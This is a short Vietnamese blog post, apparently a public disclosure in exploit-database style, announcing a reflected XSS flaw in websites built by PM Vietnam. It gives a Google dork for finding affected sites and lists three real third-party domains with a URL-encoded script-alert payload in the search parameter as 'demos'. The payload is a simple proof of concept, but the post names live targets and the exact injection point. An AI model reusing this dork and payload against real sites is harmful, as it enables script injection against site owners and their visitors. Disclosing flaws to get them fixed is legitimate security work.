Cảnh Báo Lỗi XSS Attack Trên Các Sản Phẩm Của Công Ty PM Việt Nam

ngày trước mình có công bố lỗi sql trên các sản phẩm của công ty PM việt nam hôm nay mình tìm ra một lỗi nữa trên các sản phẩm của công ty này. lỗi được phát hiện là lỗi XSS

Exploit Title: XSS Attack

Exploit Author: vouuvhb.blogspot.com

Discovered By: Vô Ưu

Vendor Homepage : www.pmvietnam.com

Date: 29/08/2016

Tested on: linux/ firefox

Goolge Dork: Design by PMVIETNAM

demos:

http://nhacnuoc.vn/tim-kiem?k=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E

http://southeree.com.vn/vi/tim-kiem.html?k=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E

http://www.phuong-anh.com/tim-kiem?k=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E

About Vo Uu

Tác Giả là người chuyên nghiên cứu về các kỹ thuật hacking, security, marketing, là người có góc nhìn lạ và đi sâu vấn đề cũng như là một con người thẳng thắn góp ý. Nếu sử dụng bài trên blog mong các bạn dẫn lại nguồn tác giả!!! Tác Giả rất mong có sự đóng góp hội ý từ cộng đồng để cho an toàn an ninh mạng việt nam ngày càng được an toàn hơn!!